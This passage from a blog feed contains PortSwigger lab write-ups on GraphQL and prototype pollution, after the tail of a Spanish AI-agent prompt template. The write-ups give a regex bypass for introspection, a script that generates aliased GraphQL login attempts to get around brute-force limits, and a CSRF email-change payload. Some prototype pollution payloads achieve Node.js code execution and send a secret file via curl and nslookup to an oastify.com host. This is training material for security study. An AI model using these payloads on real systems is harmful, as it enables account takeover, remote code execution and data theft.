 "agent_role": "&lt;rol<span class="se">\&gt;</span>",  
 "run_id": "&lt;uuid<span class="se">\&gt;</span>",  
 "timestamp": "&lt;ISO8601<span class="se">\&gt;</span>"  
 },  
 "results": [  
 {  
 "item": "&lt;nombre<span class="se">\&gt;</span>",  
 "status": "success|error",  
 "evidence": "&lt;respuesta breve<span class="se">\&gt;</span>",  
 "notes": "&lt;heurística aplicada<span class="se">\&gt;</span>"  
 }  
 ],  
 "summary": "<span class="nt">&lt;texto</span> <span class="na">corto</span> <span class="na">con</span> <span class="na">métricas:</span> <span class="na">succeed</span><span class="err">,</span> <span class="na">failed</span><span class="err">,</span> <span class="na">tiempo</span><span class="nt">&gt;</span>"  
}
<span class="gh">#Casos de prueba y validación</span>
<span class="p">-</span> Input ejemplo 1:
<span class="nt">&lt;</span><span class="err">...</span><span class="nt">&gt;</span> =&gt; Resultado esperado: <span class="nt">&lt;</span><span class="err">...</span><span class="nt">&gt;</span>
<span class="p">-</span> Criterios de aceptación: <span class="nt">&lt;exactitud</span><span class="err">,</span> <span class="na">unicidad</span><span class="err">,</span> <span class="na">porcentaje</span> <span class="na">mínimo</span> <span class="na">de</span> <span class="na">verificación</span><span class="nt">&gt;</span>.
<span class="gh">#Instrucciones de iteración y parada</span>
<span class="p">-</span> Repetir generación hasta <span class="nt">&lt;condición&gt;</span> o hasta <span class="nt">&lt;límite&gt;</span>.
<span class="p">-</span> Guardar checkpoint cada &lt;N<span class="se">\&gt;</span> iteraciones.
<span class="p">-</span> En caso de error persistente: documentar y continuar.
<span class="gh">#Indicadores de calidad y métricas</span>
<span class="p">-</span> Cobertura válida (%).
<span class="p">-</span> Ratio success/error.
<span class="p">-</span> Tiempo por ítem.
<span class="p">-</span> Duplicados detectados.
</code></pre></div></div>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="AI" /><category term="n8n" /><category term="AI" /><category term="n8n" /><category term="Promt Engineering" /><summary type="html"><![CDATA[Plantilla para crear promts en agentes de IA.]]></summary></entry><entry><title type="html">GraphQL - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-graphql/" rel="alternate" type="text/html" title="GraphQL - PortSwigger" /><published>2025-10-06T00:00:00+00:00</published><updated>2025-10-06T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-graphql</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-graphql/"><![CDATA[<h2 id="tips">TIPS</h2>

<ul>
  <li>Introspection query</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251006184953.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006185024.png" alt="" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">-</span><span class="w"> </span><span class="err">QUERY</span><span class="w"> </span><span class="err">-</span><span class="w">

</span><span class="err">query($id:</span><span class="w"> </span><span class="err">Int!)</span><span class="w"> </span><span class="p">{</span><span class="w">
  </span><span class="err">getUser(id:</span><span class="w"> </span><span class="err">$id)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="err">id</span><span class="w">
    </span><span class="err">username</span><span class="w">
    </span><span class="err">password</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="err">-</span><span class="w"> </span><span class="err">VARIABLE</span><span class="w"> </span><span class="err">-</span><span class="w">
  
</span><span class="p">{</span><span class="w">
	</span><span class="nl">"id"</span><span class="p">:</span><span class="mi">1</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<ul>
  <li>Bypass <code class="language-plaintext highlighter-rouge">__schema{</code> regex validation</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">query IntrospectionQuery {
    __schema   
     {
	...
</span></code></pre></div></div>

<ul>
  <li>Brute Force with aliases</li>
</ul>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span> <span class="nx">BROWSER</span> <span class="nx">CONSOLE</span> <span class="o">-</span>

<span class="nx">copy</span><span class="p">(</span><span class="s2">`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">,</span><span class="dl">'</span><span class="p">).</span><span class="nx">map</span><span class="p">((</span><span class="nx">element</span><span class="p">,</span><span class="nx">index</span><span class="p">)</span><span class="o">=&gt;</span><span class="s2">`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
        token
        success
    }
`</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">$index</span><span class="dl">'</span><span class="p">,</span><span class="nx">index</span><span class="p">).</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">$password</span><span class="dl">'</span><span class="p">,</span><span class="nx">element</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">));</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">The query has been copied to your clipboard.</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">mutation {

bruteforce0:login(input:{password: "123456", username: "carlos"}) {
        token
        success
    }


bruteforce1:login(input:{password: "password", username: "carlos"}) {
        token
        success
    }
}
</span></code></pre></div></div>

<ul>
  <li>CSRF with Content-Type conversion (x-www-form-urlencoded)</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&amp;operationName=changeEmail&amp;variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D
</span></code></pre></div></div>

<h2 id="accessing-private-graphql-posts">Accessing private GraphQL posts</h2>

<p><img src="/img2/Pasted%20image%2020251006170045.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006170324.png" alt="" /></p>

<blockquote>
  <p>We run the introspection query and we see a hidden field in the response.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006170510.png" alt="" /></p>

<blockquote>
  <p>In the getBlogPost query we add the hidden field postPassword.</p>
</blockquote>

<h2 id="accidental-exposure-of-private-graphql-fields">Accidental exposure of private GraphQL fields</h2>

<p><img src="/img2/Pasted%20image%2020251006174635.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006174208.png" alt="" /></p>

<blockquote>
  <p>Once the introspection query is executed we can send the query to the site map.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006174601.png" alt="" /></p>

<blockquote>
  <p>Inside the site map we see a query called getUser.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006174723.png" alt="" /></p>

<h2 id="finding-a-hidden-graphql-endpoint">Finding a hidden GraphQL endpoint</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ gobuster <span class="nb">dir</span> <span class="nt">-u</span> https://0a9e00d404ff3a9c8a733076007e005b.web-security-academy.net/ <span class="nt">-w</span> BSCP/burp-paths.txt <span class="nt">-t</span> 20
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">===============================================================</span>
<span class="no">Gobuster</span> <span class="n">v3</span><span class="o">.</span><span class="mi">6</span>
<span class="n">by</span> <span class="no">OJ</span> <span class="no">Reeves</span> <span class="p">(</span><span class="vi">@TheColonial</span><span class="p">)</span> <span class="o">&amp;</span> <span class="no">Christian</span> <span class="no">Mehlmauer</span> <span class="p">(</span><span class="vi">@firefart</span><span class="p">)</span>
<span class="o">===============================================================</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Url</span><span class="p">:</span>                     <span class="n">https</span><span class="ss">:/</span><span class="o">/</span><span class="mi">0</span><span class="n">a9e00d404ff3a9c8a733076007e005b</span><span class="p">.</span><span class="nf">web</span><span class="o">-</span><span class="n">security</span><span class="o">-</span><span class="n">academy</span><span class="p">.</span><span class="nf">net</span><span class="o">/</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Method</span><span class="p">:</span>                  <span class="no">GET</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Threads</span><span class="p">:</span>                 <span class="mi">20</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Wordlist</span><span class="p">:</span>                <span class="no">BSCP</span><span class="o">/</span><span class="n">burp</span><span class="o">-</span><span class="n">paths</span><span class="p">.</span><span class="nf">txt</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Negative</span> <span class="no">Status</span> <span class="ss">codes:   </span><span class="mi">404</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">User</span> <span class="no">Agent</span><span class="p">:</span>              <span class="n">gobuster</span><span class="o">/</span><span class="mf">3.6</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Timeout</span><span class="p">:</span>                 <span class="mi">10</span><span class="n">s</span>
<span class="o">===============================================================</span>
<span class="no">Starting</span> <span class="n">gobuster</span> <span class="k">in</span> <span class="n">directory</span> <span class="n">enumeration</span> <span class="n">mode</span>
<span class="o">===============================================================</span>
<span class="sr">/api                  (Status: 400) [Size: 19]
/</span><span class="n">logout</span>               <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">302</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">0</span><span class="p">]</span> <span class="p">[</span><span class="o">--&gt;</span> <span class="sr">/]
/m</span><span class="n">y</span><span class="o">-</span><span class="n">account</span>           <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">302</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">0</span><span class="p">]</span> <span class="p">[</span><span class="o">--&gt;</span> <span class="sr">/login]
/</span><span class="n">resources</span><span class="o">/</span><span class="n">images</span><span class="o">/</span><span class="n">tracker</span><span class="p">.</span><span class="nf">gif</span> <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">200</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">42</span><span class="p">]</span>
<span class="sr">/login                (Status: 200) [Size: 3124]
/</span><span class="n">filter</span>               <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">200</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">10736</span><span class="p">]</span>
<span class="sr">/product              (Status: 400) [Size: 30]
Progress: 279 /</span> <span class="mi">280</span> <span class="p">(</span><span class="mf">99.64</span><span class="o">%</span><span class="p">)</span>
<span class="o">===============================================================</span>
<span class="no">Finished</span>
<span class="o">===============================================================</span>
</code></pre></div></div>

<blockquote>
  <p>We fuzz directories and find the <code class="language-plaintext highlighter-rouge">/api</code> directory.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006182819.png" alt="" /></p>

<blockquote>
  <p>We detect the use of GraphQL.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006183224.png" alt="" /></p>

<blockquote>
  <p>When trying to run the introspection query we see some kind of validation is being applied.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006184006.png" alt="" /></p>

<blockquote>
  <p>To bypass the validation we add a newline before the { so that we bypass the regex validation <code class="language-plaintext highlighter-rouge">__schema{</code></p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006184243.png" alt="" /></p>

<blockquote>
  <p>We send the introspection query to the site map and we see an interesting function.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006184317.png" alt="" /></p>

<h2 id="bypassing-graphql-brute-force-protections">Bypassing GraphQL brute force protections</h2>

<p><img src="/img2/Pasted%20image%2020251006195620.png" alt="" /></p>

<blockquote>
  <p>We send the introspection query to the site map and we see a login query.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006195733.png" alt="" /></p>

<blockquote>
  <p>When sending multiple requests we are rate limited. This complicates the ability to brute force.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006195859.png" alt="" /></p>

<blockquote>
  <p>However, in GraphQL we can send multiple requests in one using aliases.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006200014.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006200112.png" alt="" /></p>

<blockquote>
  <p>Using a small JavaScript script we generate several aliases and send them in the same request.</p>
</blockquote>

<h2 id="performing-csrf-exploits-over-graphql">Performing CSRF exploits over GraphQL</h2>

<p><img src="/img2/Pasted%20image%2020251006202839.png" alt="" /></p>

<blockquote>
  <p>We see a request to change the email in a GraphQL API. Using JSON syntax we could not exploit the CSRF.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006212415.png" alt="" /></p>

<blockquote>
  <p>We generate a PoC using Burp Suite and send it to the victim.</p>
</blockquote>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="GraphQL" /><summary type="html"><![CDATA[All GraphQL API vulnerabilities labs of PortSwigger.]]></summary></entry><entry><title type="html">Prototype Pollution - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-prototypepollution/" rel="alternate" type="text/html" title="Prototype Pollution - PortSwigger" /><published>2025-10-06T00:00:00+00:00</published><updated>2025-10-06T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-prototypepollution</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-prototypepollution/"><![CDATA[<h2 id="tips">TIPS</h2>

<ul>
  <li>Payloads</li>
</ul>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">?</span><span class="nx">__proto__</span><span class="p">[</span><span class="nx">foo</span><span class="p">]</span><span class="o">=</span><span class="nx">bar</span>
<span class="p">?</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">foo</span><span class="o">=</span><span class="nx">bar</span>
<span class="p">?</span><span class="nx">__pro__proto__to__</span><span class="p">[</span><span class="nx">foo</span><span class="p">]</span><span class="o">=</span><span class="nx">bar</span>
<span class="err">#</span><span class="nx">__proto__</span><span class="p">[</span><span class="nx">foo</span><span class="p">]</span><span class="o">=</span><span class="nx">bar</span>    <span class="o">--&gt;</span> <span class="nx">jQuery</span> <span class="p">(</span><span class="o">&lt;</span><span class="mf">1.12</span> <span class="o">/</span> <span class="o">&lt;</span><span class="mf">2.2</span><span class="p">)</span>
</code></pre></div></div>

<ul>
  <li>DOM Invader</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005181722.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005181848.png" alt="" /></p>

<ul>
  <li>Server-Side (JSON Prototype Pollution)</li>
</ul>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"address_line_1"</span><span class="p">:</span><span class="s2">"Wiener HQ"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"address_line_2"</span><span class="p">:</span><span class="s2">"One Wiener Way"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"city"</span><span class="p">:</span><span class="s2">"Wienerville"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"postcode"</span><span class="p">:</span><span class="s2">"BU1 1RP"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"country"</span><span class="p">:</span><span class="s2">"UK"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"sessionId"</span><span class="p">:</span><span class="s2">"omUQ4NlX9WFFGSgKEM1UXt35LYAaK8ip"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"__proto__"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"isAdmin"</span><span class="p">:</span><span class="s2">"true"</span><span class="w">
	</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"address_line_1"</span><span class="p">:</span><span class="s2">"Wiener HQ"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"address_line_2"</span><span class="p">:</span><span class="s2">"One Wiener Way"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"city"</span><span class="p">:</span><span class="s2">"Wienerville"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"postcode"</span><span class="p">:</span><span class="s2">"BU1 1RP"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"country"</span><span class="p">:</span><span class="s2">"UK"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"sessionId"</span><span class="p">:</span><span class="s2">"omUQ4NlX9WFFGSgKEM1UXt35LYAaK8ip"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"constructor"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"prototype"</span><span class="p">:{</span><span class="w">
			</span><span class="nl">"isAdmin"</span><span class="p">:</span><span class="kc">true</span><span class="w">
		</span><span class="p">}</span><span class="w">
	</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"address_line_1"</span><span class="p">:</span><span class="s2">"Wiener HQ"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"address_line_2"</span><span class="p">:</span><span class="s2">"One Wiener Way"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"city"</span><span class="p">:</span><span class="s2">"Wienerville"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"postcode"</span><span class="p">:</span><span class="s2">"BU1 1RP"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"country"</span><span class="p">:</span><span class="s2">"UK"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"sessionId"</span><span class="p">:</span><span class="s2">"omUQ4NlX9WFFGSgKEM1UXt35LYAaK8ip"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"__proto__"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"json spaces"</span><span class="p">:</span><span class="mi">20</span><span class="w">
	</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>Observe spaces in the JSON result.</p>
</blockquote>

<ul>
  <li>NodeJS Remote Execution via execArgv</li>
</ul>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">-</span><span class="w"> </span><span class="err">NSLOOKUP</span><span class="w"> </span><span class="err">-</span><span class="w">

</span><span class="p">{</span><span class="w">
	</span><span class="nl">"__proto__"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"execArgv"</span><span class="p">:[</span><span class="w">
			</span><span class="s2">"--eval=require('child_process').execSync('nslookup $(cat /home/carlos/secret).9oyvfbvkxivd5kgpav5krzvmfdl490xp.oastify.com')"</span><span class="w">
			</span><span class="p">]</span><span class="w">
	</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="err">-</span><span class="w"> </span><span class="err">CURL</span><span class="w"> </span><span class="err">-</span><span class="w">
  
</span><span class="p">{</span><span class="w">
	</span><span class="nl">"__proto__"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"execArgv"</span><span class="p">:[</span><span class="w">
			</span><span class="s2">"--eval=require('child_process').execSync('curl --data-binary </span><span class="se">\"</span><span class="s2">@/home/carlos/secret</span><span class="se">\"</span><span class="s2"> https://9oyvfbvkxivd5kgpav5krzvmfdl490xp.oastify.com')"</span><span class="w">
			</span><span class="p">]</span><span class="w">
	</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<ul>
  <li>NodeJS Remote Execution via shell+input (vim)</li>
</ul>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"__proto__"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"shell"</span><span class="p">:</span><span class="s2">"vim"</span><span class="p">,</span><span class="w">
		</span><span class="nl">"input"</span><span class="p">:</span><span class="s2">":! cat /home/carlos/secret | curl --data-binary @- https://fdw14hkqmokjuq5vz1uqg5ks4jaay8mx.oastify.com</span><span class="se">\n</span><span class="s2">"</span><span class="w">
	</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h2 id="client-side-prototype-pollution-via-browser-apis">Client-side prototype pollution via browser APIs</h2>

<ul>
  <li>Manual</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005165617.png" alt="" /></p>

<blockquote>
  <p>First we detect the ability to access the prototype using the <code class="language-plaintext highlighter-rouge">__proto__</code> method. Once we have the ability to insert properties into the prototype we need to find a gadget that will execute our polluted prototype.</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">logQuery</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="nx">params</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span><span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span> <span class="na">keepalive</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">params</span><span class="p">)});</span>
    <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed storing query</span><span class="dl">"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">searchLogger</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">config</span> <span class="o">=</span> <span class="p">{</span><span class="na">params</span><span class="p">:</span> <span class="nx">deparam</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">location</span><span class="p">).</span><span class="nx">searchParams</span><span class="p">.</span><span class="nx">toString</span><span class="p">()),</span> <span class="na">transport_url</span><span class="p">:</span> <span class="kc">false</span><span class="p">};</span>
    <span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">config</span><span class="p">,</span> <span class="dl">'</span><span class="s1">transport_url</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">configurable</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span> <span class="na">writable</span><span class="p">:</span> <span class="kc">false</span><span class="p">});</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
        <span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">;</span>
        <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">params</span> <span class="o">&amp;&amp;</span> <span class="nx">config</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">search</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">logQuery</span><span class="p">(</span><span class="dl">'</span><span class="s1">/logger</span><span class="dl">'</span><span class="p">,</span> <span class="nx">config</span><span class="p">.</span><span class="nx">params</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">load</span><span class="dl">"</span><span class="p">,</span> <span class="nx">searchLogger</span><span class="p">);</span>
</code></pre></div></div>

<blockquote>
  <p>Inside the source code we find a JavaScript file where we can abuse the prototype. The vulnerable part of the file is the following:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">config</span><span class="p">,</span> <span class="dl">'</span><span class="s1">transport_url</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">configurable</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span> <span class="na">writable</span><span class="p">:</span> <span class="kc">false</span><span class="p">});</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
        <span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">;</span>
        <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span>
    <span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p>In this block a property is being defined for the object config.transport_url. The vulnerability occurs by not specifying a value when using defineProperty leaving the situation like this:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="kc">undefined</span>
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251005180721.png" alt="" /></p>

<blockquote>
  <p>Following the premise of using value, by injecting the property value into the prototype we see that the result would be something like:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">testing123</span>
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251005181013.png" alt="" /></p>

<blockquote>
  <p>To take advantage of this situation within the context of the src attribute when loading a script we can use data. This is possible because the browser tries to load content of type testing123. When it fails it executes the javascript content followed by the comma.</p>
</blockquote>

<ul>
  <li>DOM Invader</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005181722.png" alt="" /></p>

<blockquote>
  <p>The DOM Invader extension detects the possible access to the prototype.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005181848.png" alt="" /></p>

<blockquote>
  <p>We scan for gadgets and see that the extension finds a potential path to execute JavaScript code.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005181933.png" alt="" /></p>

<h2 id="dom-xss-via-client-side-prototype-pollution">DOM XSS via client-side prototype pollution</h2>

<ul>
  <li>Manual</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005182338.png" alt="" /></p>

<blockquote>
  <p>We detect possible access to the prototype using the <code class="language-plaintext highlighter-rouge">__proto__</code> method.</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">logQuery</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="nx">params</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span><span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span> <span class="na">keepalive</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">params</span><span class="p">)});</span>
    <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed storing query</span><span class="dl">"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">searchLogger</span><span class="p">()</span> <span class="p">{</span>
